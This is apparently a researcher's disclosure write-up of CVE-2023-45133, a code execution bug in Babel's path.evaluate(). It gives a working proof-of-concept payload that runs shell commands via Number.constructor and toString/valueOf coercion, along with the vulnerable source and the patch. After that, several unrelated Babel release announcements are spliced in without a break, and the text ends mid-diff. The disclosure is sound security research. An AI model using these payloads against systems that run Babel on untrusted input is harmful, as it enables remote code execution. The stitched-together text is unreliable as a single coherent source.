Those who use Babel for reverse engineering/code deobfuscation love using Babel because of all of the built in functionality it provides. One of the most useful features is the ability to statically evaluate expressions using path.evaluate() and path.evaluateTruthy(). I have written about this in the previous articles:

• Constant Folding
• A Peculiar JSFuck-style Case

Wait, did I say statically evaluate?

The Exploit​

Before delving into the details, let’s take a look at the proof of concept I came up with:

Proof of Concept​

const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;

const source = `String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;

const ast = parser.parse(source);

const evalVisitor = {
  Expression(path) {
    path.evaluate();
  },
};

traverse(ast, evalVisitor);

This simply outputs the result of the id command to the terminal, as can be seen below.

┌──(kali㉿kali)-[~/Babel RCE]
└─$ node exploit.js
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)

Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell.

Exploit Breakdown​

To understand why this vulnerability works, we need to understand the source code of the culprit function, evaluate. The source code of babel-traverse/src/path/evaluation.ts prior to the fix is archived here

/**
 * Walk the input `node` and statically evaluate it.
 *
 * Returns an object in the form `{ confident, value, deopt }`. `confident`
 * indicates whether or not we had to drop out of evaluating the expression
 * because of hitting an unknown node that we couldn't confidently find the
 * value of, in which case `deopt` is the path of said node.
 *
 * Example:
 *
 *   t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
 *   t.evaluate(parse("!true")) // { confident: true, value: false }
 *   t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
 *
 */

export function evaluate(this: NodePath): {
  confident: boolean;
  value: any;
  deopt?: NodePath;
} {
  const state: State = {
    confident: true,
    deoptPath: null,
    seen: new Map(),
  };
  let value = evaluateCached(this, state);
  if (!state.confident) value = undefined;

  return {
    confident: state.confident,
    deopt: state.deoptPath,
    value: value,
  };
}

When evaluate is called on a NodePath, it goes through the evaluatedCached wrapper, before reaching the _evaluate function which does all the heavy lifting. The _evaluate function is where the vulnerability lies.

This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.

The two pieces of the source code we care about are the handling of call expressions and object expressions, as shown below:

Vulnerable Source Code​

const VALID_OBJECT_CALLEES = ["Number", "String", "Math"] as const;
const VALID_IDENTIFIER_CALLEES = [
  "isFinite",
  "isNaN",
  "parseFloat",
  "parseInt",
  "decodeURI",
  "decodeURIComponent",
  "encodeURI",
  "encodeURIComponent",
  process.env.BABEL_8_BREAKING ? "btoa" : null,
  process.env.BABEL_8_BREAKING ? "atob" : null,
] as const;

const INVALID_METHODS = ["random"] as const;

function isValidObjectCallee(
  val: string
): val is (typeof VALID_OBJECT_CALLEES)[number] {
  return VALID_OBJECT_CALLEES.includes(
    // @ts-expect-error val is a string
    val
  );
}

function isValidIdentifierCallee(
  val: string
): val is (typeof VALID_IDENTIFIER_CALLEES)[number] {
  return VALID_IDENTIFIER_CALLEES.includes(
    // @ts-expect-error val is a string
    val
  );
}

function isInvalidMethod(val: string): val is (typeof INVALID_METHODS)[number] {
  return INVALID_METHODS.includes(
    // @ts-expect-error val is a string
    val
  );
}

function _evaluate(path: NodePath, state: State): any {
  /** snip **/
  if (path.isObjectExpression()) {
    const obj = {};
    const props = path.get("properties");
    for (const prop of props) {
      if (prop.isObjectMethod() || prop.isSpreadElement()) {
        deopt(prop, state);
        return;
      }
      const keyPath = (prop as NodePath<t.ObjectProperty>).get("key");
      let key;
      // @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded
      if (prop.node.computed) {
        key = keyPath.evaluate();
        if (!key.confident) {
          deopt(key.deopt, state);
          return;
        }
        key = key.value;
      } else if (keyPath.isIdentifier()) {
        key = keyPath.node.name;
      } else {
        key = (
          keyPath.node as t.StringLiteral | t.NumericLiteral | t.BigIntLiteral
        ).value;
      }
      const valuePath = (prop as NodePath<t.ObjectProperty>).get("value");
      let value = valuePath.evaluate();
      if (!value.confident) {
        deopt(value.deopt, state);
        return;
      }
      value = value.value;
      // @ts-expect-error key is any type
      obj[key] = value;
    }
    return obj;
  }

  /** snip **/
  if (path.isCallExpression()) {
    const callee = path.get("callee");
    let context;
    let func;

    // Number(1);
    if (
      callee.isIdentifier() &&
      !path.scope.getBinding(callee.node.name) &&
      (isValidObjectCallee(callee.node.name) ||
        isValidIdentifierCallee(callee.node.name))
    ) {
      func = global[callee.node.name];
    }

    if (callee.isMemberExpression()) {
      const object = callee.get("object");
      const property = callee.get("property");

      // Math.min(1, 2)
      if (
        object.isIdentifier() &&
        property.isIdentifier() &&
        isValidObjectCallee(object.node.name) &&
        !isInvalidMethod(property.node.name)
      ) {
        context = global[object.node.name];
        // @ts-expect-error property may not exist in context object
        func = context[property.node.name];
      }

      // "abc".charCodeAt(4)
      if (object.isLiteral() && property.isIdentifier()) {
        // @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)
        const type = typeof object.node.value;
        if (type === "string" || type === "number") {
          // @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type
          context = object.node.value;
          func = context[property.node.name];
        }
      }
    }

    if (func) {
      const args = path
        .get("arguments")
        .map((arg) => evaluateCached(arg, state));
      if (!state.confident) return;

      return func.apply(context, args);
    }
  }
  /** snip **/
}

Handling of Call Expressions​

The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the VALID_OBJECT_CALLEES or VALID_IDENTIFIER_CALLEES arrays.

Additionally, there are three cases for handling call expressions:

1. When the callee is an identifier, and the identifier is whitelisted in VALID_OBJECT_CALLEES or VALID_IDENTIFIER_CALLEES.
2. When the callee is a member expression, the object is an identifier, the identifier is whitelisted in VALID_OBJECT_CALLEES, and the property is not blacklisted in INVALID_METHODS.
3. When the callee is a member expression, the object is a literal, and the property is a string/numeric literal.

The most interesting one is the second case:

if (
  object.isIdentifier() &&
  property.isIdentifier() &&
  isValidObjectCallee(object.node.name) &&
  !isInvalidMethod(property.node.name)
) {
  context = global[object.node.name];
  // @ts-expect-error property may not exist in context object
  func = context[property.node.name];
}

/** snip **/
if (func) {
  const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
  if (!state.confident) return;

  return func.apply(context, args);
}

The only blacklisted method is random, which is a method of the Math object. This means that any other method of either the whitelisted Number, String, or Math objects can be directly referenced.

In JavaScript, all classes are functions. Since Number and String are global JavaScript classes, their constructor property points to the Function constructor.

Therefore, the two expressions below are equivalent:

Number.constructor('javascript_code_here;');
Function('javascript_code_here;');

Passing in an arbitrary string to the Function constructor returns a function that will evaluate the provided string as JavaScript code when called.

The AST node generated by Number.constructor('javascript_code_here;') contains:

• A call expression, where
  • The callee is a member expression, where
    • The object is an identifier, with name whitelisted by VALID_OBJECT_CALLEES
    • The property is an identifier, not blacklisted by INVALID_METHODS
  • The arguments are a single string literal, containing the code to be executed.

Therefore, the code is considered safe to evaluate, and we have successfuly crafted a malicious function.

However, it is crucial to note that this cannot call the function on its own. It only creates an anonymous function.

So, how exactly can we call the function? This is where the second piece of the puzzle comes in: object expressions.

Handling of Object Expressions​

Within Babel’s _evaluate method, an ObjectExpression node undergoes recursive evaluation, producing a true JavaScript object. There’s no limitation on key names for ObjectProperty. As long as every ObjectProperty child in the ObjectExpression yields confident: true from _evaluate(), we can obtain a JavaScript object with custom keys/values.

A key property to leverage is toString (MDN Reference). Defining this property on an object to a function we control will allow us to execute arbitrary code when the object is converted to a string.

This is exactly what we do in the payload:

String(({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));

We’ve assigned our malicious function, crafted via the Function constructor, to the toString property of the object. Thus, when this object undergoes a string conversion, it gets triggered and executed.

In the provided example, we pass the object to the String function, given its status as a whitelisted function (referenced in case 1). Still, the String constructor isn’t mandatory. Implicit type coercion in JavaScript can also trigger our malicious function, as demonstratedin these alternative payload formats:

""+(({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));

1+(({  valueOf: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));

The first example employs type-coercion to transform the object into a string. In contrast, the second example utilizes type-coercion to convert it into a number, as detailed in Object.prototype.valueOf(). Both examples exploit the _evaluate() method’s approach to handling BinaryExpression nodes, which directly performs the operation after recursively evaluating the left and right operands.

The Patch​

Upon disclosing this vulnerability, I was impressed by the swift response from the Babel team, who promptly rolled out a patch. This patch was released in two parts:

The first of which was a workaround for all of the affected official Babel packages, by guarding the calls to evalute() with an isPure() check. isPure inherently prevents this bug, as it returns false for all MemberExpression nodes. PR #16032: Update babel-polyfills packages

The subsequent step involved refining the evaluate() function. This adjustment ensured that all inherited methods, not only constructor, were prevented from being called. PR #16033: Only evaluate own String/Number/Math methods

After the fixes were implemented, GitHub staff issued CVE-2023-45133 for the security advisory.

A side note on disclosure timing​

You might have noticed that this blog post was released on the same day as the security advisory. Usually for critical vulnerabilities, it’s customary to wait a while before disclosing a proof of concept. However, I believe this disclosure timing is justifiable for a few reasons:

Predominantly, the vast majority of Babel users remain unaffected by this vulnerability. Babel is primarily utilized for refactoring and transpiling one’s own code, which means the typical use case doesn’t expose users to this risk. It’s improbable that many have server-side implementations that accept and process arbitrary code from users through the compilation plugins or the invocation of path.evaluate. Furthermore, there are really only a couple real use-cases for using Babel to analyze untrusted code on the server-side:

1. Reverse engineering bot mitigation software, etc.
2. Malware analysis

In the first case, I doubt any legitimate bot mitigation entity would try to attempt Remote Code Execution (RCE) due to the legal ramifications. Meanwhile, professionals using Babel for malware reversal possess the expertise to conduct their analyses within controlled, sandboxed environments. Thus, the risk to the community, in real-world scenarios, remains minimal.

Conclusion​

Discovering and delving into this vulnerability was a fun experience. I initially stumbled upon the vulnerability during a brainstorming session for a Babel-based challenge for UofTCTF’s upcoming capture the flag competition, where I was focusing on an entirely different, non-security-related “bug”.

This vulnerability predominantly impacts those integrating untrusted code with Babel. Unfortunately, this places individuals leveraging Babel for “static deobfuscation” directly in the crosshairs of this attack vector.

There’s a touch of irony in the fact that my first credited CVE emerged from reverse engineering Babel - the very tool I often employ for reverse engineering JavaScript, and the topic of all of my previous posts 🤣.

This was a great learning experience, and hopefully this write-up was useful to you as well. Thanks for reading, and take care!

References​

• CVE-2023-45133
• GitHub Advisory Database: Arbitrary code execution when compiling specifically crafted malicious code

It includes transform support for the Decorator Metadata, Source Phase Import, Deferred Import Evaluation, and Optional Chaining Assignment proposals. We also updated our parser to support the new TypeScript 5.2 version, and added a transform option to let you use the .ts extension within TypeScript imports.

In addition to releasing version 7.23.0, we also recently published the first Babel 8 alpha release!

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Decorator Metadata (#15895)​

The decorator metadata Stage 3 proposal extends the Decorator proposal, allowing decorators to communicate with each other by sharing some metadata.

function write(_, context) {
  context.metadata.message = "Hello from writer!";
}
function read(_, context) {
  console.log(context.metadata.message);
}

@read // Logs "Hello from writer!"
class A {
  @write x;
}

While we usually have one plugin per proposal, these two proposals are so closely related that we decided to include support for Decorator Metadata directly in @babel/plugin-proposal-decorators. If you are on the latest version of Babel and you are already using standard-track decorators, this proposal is enabled by default.

Source Phase Imports for WebAssembly modules (#15829, #15870)​

The Source Phase Import Stage 3 proposal allows importing an object representation of the source of a module, without evaluating it and without loading its dependencies. You can load module sources using the import source syntax, for languages that have a defined source representation:

import source fooSource from "foo";

The motivating use case is to have static syntax to load WebAssembly.Module objects, rather than being forced to do so dynamically:

// Before
const url = import.meta.resolve("./my-wasm/module.wasm");
const responsePromise = fetch(url);
const mod = await WebAssembly.compileStreaming(responsePromise);

// After
import source mod from "./my-wasm/module.wasm";

Babel now supports transforming source imports for WebAssembly modules targeting Node.js, Web-compatible environments (browsers and Deno), or both, depending on your configured targets.

You can transform it using the @babel/plugin-proposal-import-wasm-source plugin:

{
  "targets": ["chrome 90", "firefox 90", "node 20.6"],
  "plugins": ["@babel/plugin-proposal-import-wasm-source"]
}

Deferred Import Evaluation (#15845, #15878)​

The Deferred Import Evaluation Stage 2 proposal allows deferring the (synchronous) evaluation of imported modules until they are used. This can greatly improve the startup performance of your code when using modules that have a significant initialization cost.

You can use the new import defer syntax to defer your imports:

// this line does not evaluate ./mod
import defer * as myMod from "./mod";


later(() => {
  // this one evaluates it!
  use(myMod.foo);
})

The import defer syntax only support namespace imports, so the following is not valid:

import defer modDefault from "./mod";
import defer { named } from "./mod";

Babel only supports compiling import defer when compiling ECMAScript modules to CommonJS, using the @babel/plugin-proposal-import-defer plugin:

// babel.config.json
{
  "plugins": [
    "@babel/plugin-transform-modules-commonjs",
    "@babel/plugin-proposal-import-defer"
  ]
}

If you are using Babel with a bundler and thus you are not compiling modules via Babel, if your bundler supports import defer you can use @babel/plugin-syntax-import-defer to allow parsing the new syntax.

Optional Chaining Assignment (#15751)​

The Optional Chaining Assignment Stage 1 proposal allows using optional chaining on the left side of assignment operators:

maybeAnObj?.prop = theValue;

// Equivalent to

if (maybeAnObj != null) maybeAnObj.prop = theValue;

This proposal is championed by Nicolò Ribaudo, a member of the Babel team, and we are already implementing it at Stage 1 to gather feedback that can help the design process in TC39. If you have any comments, or any real-world examples or use cases you can share, please leave them in the proposal repository!

You can try this proposal using the @babel/plugin-proposal-optional-chaining-assign plugin. Given the early stage and thus the high possibility of breaking changes, you must specify which version you want to use (currently only 2023-07 is supported):

// babel.config.json
{
  "plugins": [
    ["@babel/plugin-proposal-optional-chaining-assign", {
      "version": "2023-07"
    }]
  ]
}

TypeScript updates (#15896, #15913)​

Babel 7.23.0 now supports parsing TypeScript 5.2, whose only syntactic addition is the introduction of tuple types having both labeled and unlabeled entries.

In addition to that, @babel/preset-typescript now has a rewriteImportExtensions option that, when enabled, will rewrite .ts/.mts/.cts extensions in your import declarations to .js/.mjs/.cjs. Together with TypeScript's allowImportingTsExtension option, this allows you to write complete relative specifiers in your imports while using the same extension used by the files you are authoring.

As an example, given this project structure (where src contains the source files, and dist the compiled files):

.
├── src
│   ├── main.ts
│   └── dep.ts
├── dist
│   ├── main.js
│   └── dep.js
├── babel.config.json
└── tsconfig.json

and with the following configuration files:

{
  "presets": [
    ["@babel/preset-typescript", {
      "rewriteImportExtensions": true
    }]
  ]
}

{
  "compilerOptions": {
    "lib": ["esnext"],
    "noEmit": true,
    "isolatedModules": true,
    "moduleResolution": "nodenext",
    "allowImportingTsExtensions": true
  }
}

you will be able to write import x from "./dep.ts" in main.ts, and Babel will transform it to import x from "./dep.js" when compiling main.ts to main.js.

Babel 8 alpha​

After multiple years working on it, we finally released Babel 8.0.0 alpha! 🥳

Future pre-release will include more breaking changes, so we do not recommend to use it in production unless you are willing to keep up with all the changes as they come. However, you can already start getting ready for what will be Babel 8.0.0 stable:

• You can install it with npm install -D @babel/core@next (or the equivalent command with your package manager), and verify if it already works in your project. Please make sure that all the @babel/* packages in your package.json have exactly the same version (for example, 8.0.0-alpha.2).
• You can read the migration guide for users: many of the breaking changes introduced in Babel 8 can already be enabled in Babel 7, and Babel 8 will simply remove the relative options making them the default behavior.
• If you are a Babel plugin author, or if you use the Babel programmatic API directly, you can read the migration guide for integration authors and make sure that your library works well with Babel 8.

In addition to the migration guides, you can read the full changelog of the various Babel 8 pre-releases on GitHub.

We also updated our implementation of decorators following some changes in the proposal, and added support for the TypeScript import ... = and export ... = statements.

@babel/preset-env now includes transform support for the v regular expressions flag, which was recently approved as part of the ECMAScript standard, by default. Lastly, we renamed all the plugins for stable ECMAScript features from -proposal- to -transform-.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Explicit Resource Management (#15633, #15520)​

The Explicit Resource Management Stage 3 proposal allows defining variables containing resources that will be "disposed" when exiting the scope where they are declared. This is done through using (for synchronous disposal) and await using (for asynchronous disposal) declarations:

{
  using fileHandle = filesystem.open("./my/file.txt");

  write(fileHandle, "Hello!");
} // At the end of the block, fileHandle will be automatically closed.

{
  await using db = await Database.connect("//my-db.sql");
  db.query("INSERT INTO tools (name, version) VALUES ('Babel', '7.22.0')");
} // At the end of the block, the db connection will be closed asynchronously

You can enable support for this proposal by adding @babel/plugin-proposal-explicit-resource-management to your Babel config:

 {
   "plugins": [
     "@babel/plugin-proposal-explicit-resource-management"
   ]
 }

You can also try out this proposal in our REPL.

Import Attributes (#15536, #15620)​

The "import assertions" proposal's syntax changed to use the with keyword instead of assert, and it has also been renamed to "import attributes":

import json from "./foo.json" with { type: "json" };

import("./foo.json", { with: { type: "json" } });

We've implemented parsing support for this new version of the proposal, which can be enabled using the @babel/plugin-syntax-import-attributes plugin (or, if you are directly using @babel/parser, importAttributes):

 {
   "plugins": [
-    "@babel/syntax-import-assertions",
+    "@babel/syntax-import-attributes"
   ]
 }

You can read more about the changes to the proposal in the slides presented at the March TC39 meeting, and about the motivation in the slides presented at the January TC39 meeting.

To ease the migration from with to assert, if you run the Babel-compiled code only in tools and runtimes that support the legacy syntax but do not support yet the new one (such as Node.js 20 or Rollup 3.21), you can use the @babel/plugin-proposal-import-attributes-to-assertions:

 {
   "plugins": [
-    "@babel/syntax-import-assertions",
+    "@babel/plugin-proposal-import-attributes-to-assertions"
   ]
 }

🛑 Note that this plugin generates deprecated code that will not work in tools and runtimes only supporting the with syntax now described by the proposal.

Decorators updates (#15570)​

The TC39 committee received further feedback by JavaScript tools and engines implementing decorators, and refined the proposal, and designed different changes and bugfixes in response to it.

The relevant changes for Babel users are:

• accessor static fields now work with derived classes:
  JavaScript

  class Base {
    static accessor x = 2;
  }
  class Derived extends Base {}
  
  Derived.x; // Used to throw, now returns `2`
  
• Decorators stored in object properties are now called using the object as this instead of undefined:
  JavaScript

  let MyDecs = {
    dec() {
      console.log(this); // Now logs `MyDecs` instead of `undefined`
    }
  };
  
  @MyDecs.dec class {}
  

You can use this new decorators version by passing the version: "2023-05" option to the decorators plugin:

 {
   "plugins": [
     ["@babel/plugin-proposal-decorators", {
       "version": "2023-05"
     }]
   ]
 }

You can also try using the new version of the proposal in our REPL, enabling the "Stage 3" preset and choosing the appropriate decorators version.

TypeScript import ... = and export = statements​

When using the TypeScript verbatimModuleSyntax option, ESM import/export statements are disallowed in CommonJS files. Instead, developers must use the import ... = and export = statements:

import A = require("./a");

export = { x: 2 };

which desugar to:

const A = require("./a");

module.exports = { x: 2 };

This syntax is only supported in ECMAScript modules, and only when compiling them to CommonJS. Unless you have some custom configuration, this means:

• in .cts files, when using @babel/preset-typescript
• in .ts files written as ESM and compiled with @babel/plugin-transform-modules-commonjs

Renamed packages​

From now on, we will rename -proposal- plugins to -transform- once they reach Stage 4 in the standardization process and thus become stable. The following packages have been renamed:

These plugins are all included by default in @babel/preset-env: if you are using the preset, you don't need to explicitly list them in your configuration and thus this change will not affect you. The packages with the old name will no longer be updated.

Babel now supports the Inline RegExp modifiers proposal, the latest version of the Decorators proposal, and the new TypeScript 5.0 syntax.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Inline RegExp modifiers​

The Inline RegExp modifiers Stage 3 proposal allows you to enable or disable the i, m and s for part of a regular expression, without affecting other parts.

You can use the (?enableFlags:subPattern) syntax to enable flags, (?-disableFlags:subPattern) to disable them, and (?enableFlags-disableFlags:subPattern) to enable some and disable others at the same time. You can think of non-capturing group (?:subPattern) as a special case where no flags are modified.

As an example, /(?i:a)a/ matches an a ignoring its case, followed by a lowercase a:

/(?i:a)a/.test("aa"); // true
/(?i:a)a/.test("Aa"); // true
/(?i:a)a/.test("aA"); // false

/a(?-i:a)/i is equivalent: the regular expression is case insensitive, expect for the second a which must be lowercase.

You can enable this proposal by installing the @babel/plugin-proposal-regexp-modifiers package and adding it to your Babel configuration:

{
  "presets": ["@babel/preset-env"],
  "plugins": [
    // Add this!
    "@babel/plugin-proposal-regexp-modifiers"
  ]
}

Decorators updates​

TC39, the committee that standardizes JavaScript, recently approved some changes to the Decorators proposal based on feedback from the TypeScript team.

• Decorators on exported classes can now come either before or after the export keyword, but not in both places at the same time:
  JavaScript

  // valid
  @dec
  export class A {}
  
  // valid
  export @dec class B {}
  
  // invalid
  @dec
  export @dec class C {}
  
  This relaxed restriction aims at simplifying migration from the "legacy" decorators version, by reducing the syntactic differences.
• The methods on the context.access object provided to decorators expect the target object as their first parameter, rather than as their this receiver:
  JavaScript

  let accessX;
  
  function dec(desc, context) {
    accessX = context.access;
    return dec;
  }
  
  class A {
    @dec #x = 1;
  }
  
  // old semantics
  accessX.get.call(new A) === 1;
  
  // new semantics
  accessX.get(new A) === 1;
  
• context.access has a new .has method, to check if an object has the corresponding element. Continuing the example above:
  JavaScript

  // #x in new A
  accessX.has(new A) === true;
  

You can enable this new version of the decorators proposal by setting the version option of "@babel/plugin-proposal-decorators" to "2023-01":

{
  "presets": ["@babel/preset-env"],
  "plugins": [
    ["@babel/plugin-proposal-decorators", { "version": "2023-01" }]
  ]
}

You can also try the new decorators proposal in the online Babel REPL, enabling the "Stage 3" (or lower) preset in the sidebar and choosing the 2023-01 decorators version.

TypeScript 5.0​

TypeScript 5.0, currently released as a beta prerelease, introduces two new syntactic features:

• const modifiers for type parameters
  TypeScript

  function getName<const T extends { name: string }>(user: T): T["name"] {
      return user.name;
  }
  
  let name = getName({ name: "Babel" });
  //  ^? inferred type: "Babel", instead of just string.
  
• export type * declarations
  TypeScript

  export type * from "./mod";
  export type * as ns from "./mod";
  
  Babel relies on this new syntax to safely remove the re-export declaration while compiling from TypeScript to JavaScript.

Additionally, TypeScript 5.0 introduces support for the standard Decorators proposal, that you can enable in Babel using @babel/plugin-proposal-decorators.

You can read more about the new TypeScript features in their release post!

Experimental support for .cts configuration files​

If you installed @babel/preset-typescript, or if you are running Babel using ts-node, you can now use babel.config.cts as a Babel configuration file written in TypeScript and CommonJS. You can read more about this in the documentation.

It's not possible yet to use babel.config.ts and babel.config.mts files, pending stabilization of the Node.js ESM loader API.

Source maps improvements​

Source maps generated by Babel now support Friendly Call Frames, to show better names for trasformed functions in devtools.

Additionally, @babel/generator now accepts input source maps generated from other tools in the build pipeline: this allows to properly merge source maps even when using @babel/generator directly without @babel/core, and improves the general performance of source map merging in when using Babel.

This release includes support for TypeScript 4.9, and parser support for the Import Reflection and Explicit Resource Management Stage 2 proposals. Additionally, you can now use Deno as one of your compilation targets.

In the past few releases we have made gradual improvements @babel/generator's code location tracking, which lead to higher source map quality and better positioning of comments in the generated output.

We are also releasing version 9.0.0 of babel-loader, the Babel loader for Webpack.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

TypeScript 4.9 (#14211)​

TypeScript 4.9 introduces a new keyword operator, satisfies, that lets you assert that an expression has a given type without actually casting that expression:

let a = { x: 1, y: 2 } as const;
//  ^ type is { x: 1, y: 2 }

let b = a satisfies { [key: string]: number };
//  ^ type is still { x: 1, y: 2 }, and not { [key: string]: number }!

a satisfies { [key: string]: string };
// error! a does not satisfies that type

You can read more about this in the TypeScript 4.9 release post 😉.

Babel can now parse and strip away those annotations when using @babel/plugin-transform-typescript or @babel/preset-typescript, allowing you to start using the new TypeScript version.

Deno compilation target (#14944)​

When compiling for Deno, you can configure @babel/preset-env to only compile the features not supported by your Deno version. While Deno usually ships new ECMAScript features as soon as possible, you might need to support older engine versions.

You can enable it using the targets option:

{
    "targets": { "deno": "1.20" },
    "presets": ["@babel/preset-env"]
}

babel-loader 9.0.0​

This new major version of babel-loader drops support for Webpack < 5, for Babel < 7.12 and for Node.js < 14.15 LTS.

Loader options cannot be specified using the query parameters: instead of specifying options inline (for example, loader: "babel-loader?presets=@babel/preset-env") you will have to use the options object:

{
    loader: "babel-loader",
    options: {
        presets: ["@babel/preset-env"]
    }
}

You can also use a dedicated Babel configuration file, such as babel.config.json.

If you are not using query parameters to specify Babel options, and if you are on a modern version of Webpack, Babel and Node.js, you should be able to update without changes to your Webpack or Babel configurations.

This release updates our implementation of the decorators proposal, which reached Stage 3 in March. It also includes support for the new duplicate named capturing groups proposal for regular expressions.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

New default values​

Given the stabilization of the decorators and Record and Tuple proposal, we set some default values for their parser plugin options:

• decorators/@babel/plugin-proposal-decorators's decoratorsBeforeExport now defaults to false;
• recordAndTuple/@babel/plugin-proposal-record-and-tuple's syntaxType option now defaults to hash.

These options will be removed in Babel 8.

Stage 3 decorators (#14836)​

The decorators proposal was promoted to Stage 3 with some minor but observable changes. You can enable the new version using the "version": "2022-03" option of @babel/plugin-proposal-decorators:

{
  "plugins": [
    ["@babel/plugin-proposal-decorators", {
        "version": "2022-03"
    }]
  ]
}

If you are migrating from the 2021-12 version, the following breaking changes might affect you:

• the initialize method of the object returned by accessor decorators has been renamed to init;
• the isPrivate and isStatic properties of the context parameter received by the decorators (the second one) have been renamed to private and static;
• the context parameter now always has an access property, regardless of the decorated element type;
• support for metadata (getMetadata/setMetadata) has been removed and postponed to a future proposal;
• @(expression)()-style decorators are disallowed, and you must use @(expression());
• decorators are applied in the following order, instead of in a single pass:
  1. static method decorators
  2. proto method decorators
  3. static field decorators
  4. instance field decorators
  5. class decorators.

If you are migrating from an older version of the proposal, we suggest reading the full README. 😉

💡 TypeScript plans to implement this version of the proposal. After almost a decade, it will be possible to write decorators without worrying if they will be compiled by Babel or tsc!

RegExp duplicate named capturing groups (#14805)​

Babel now supports the RegExp duplicate named capturing groups proposal, which allows re-using the same group name in alternative RegExp branches:

const dateRE = /(?<year>\d\d\d\d)-(?<month>\d\d)|(?<month>\d\d)-(?<year>\d\d)/;

console.log("2022-12".match(dateRE).groups); // { year: "2022", month: "12" }
console.log("12-2022".match(dateRE).groups); // { year: "2022", month: "12" }

You can enable this proposal using the @babel/plugin-proposal-duplicate-named-capturing-groups-regex plugin:

{
  "plugins": ["@babel/proposal-duplicate-named-capturing-groups-regex"]
}

Babel relies on different third-party packages to transform regular expressions: this is possible thanks to the maintainers of regjsparser, regjsgen and regexpu-core who took time to review our pull requests!

This release includes support for the private destructuring proposal and for TypeScript 4.7.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Private destructuring (#14304)​

Babel supports transforming the private destructuring proposal. Now you can use private fields or methods in destructuring patterns:

class Foo {
  #x = 0;
  y = 0;

  equals(obj) {
    const { #x: x, y: y } = this;

    return (
      x === obj.#x && y === obj.y
    );
  }
}

class Foo {
  #x = 0;
  y = 0;

  equals(obj) {
    const x = this.#x,
      { y } = this;

    return (
      x === obj.#x && y === obj.y
    );
  }
}

You can enable it by adding the @babel/plugin-proposal-destructuring-private plugin to your configuration.

To minimize the transpiling footprint, the code generated by this plugin will still expect non-private destructuring and private elements support. If you need to compile them further, you can enable the relevant plugins (or you can use @babel/preset-env).

TypeScript 4.7 support (#14359, #14457, #14476)​

TypeScript 4.7 supports different new syntactic features:

• instantiation expressions, which allow specifying type arguments of functions without invoking them:

  const identity = <T>(val: T) => val;
  
  const stringIdentity = identity<string>; // (val: string) => string;
  

• explicit variance annotations for type arguments, to guide the TypeScript type checker when computing compatibility between different types:

  type Provider<out T> = () => T;
  type Consumer<in T> = (x: T) => void;
  type Mapper<in T, out U> = (x: T) => U;
  type Processor<in out T> = (x: T) => T;
  

  In this example, Provide<string> is a subtype of Provider<string | number> while Consumer<string | number> is a subtype of Consumer<string>.

• constraints for the infer operator in conditional types:

  type GetColor<T> =
    T extends { color: infer C extends "red" | "pink" }
      ? C
      : "unknown color";
  

You can read the full TypeScript 4.7 release announcement on their blog.

Inline regenerator-runtime helper (#14538)​

Starting from Babel 7.18.0, regenerator-runtime is automatically injected in the same way that Babel injects the other runtime helpers, without relying on an implicit regeneratorRuntime global. When not using @babel/plugin-transform-runtime, Babel will automatically inline the regeneratorRuntime helper:

• you can stop manually loading regenerator-runtime (with import, require or <script>);
• you can delete "regenerator-runtime" from your dependencies in package.json.

For example this is the output difference between old and new Babel versions when compiling var f = function*() {};:

+function _regeneratorRuntime() { /* ... */ }

-var f = /*#__PURE__*/regeneratorRuntime.mark(function f() {
+var f = /*#__PURE__*/_regeneratorRuntime().mark(function f() {
-  return regeneratorRuntime.wrap(function f$(_context) {
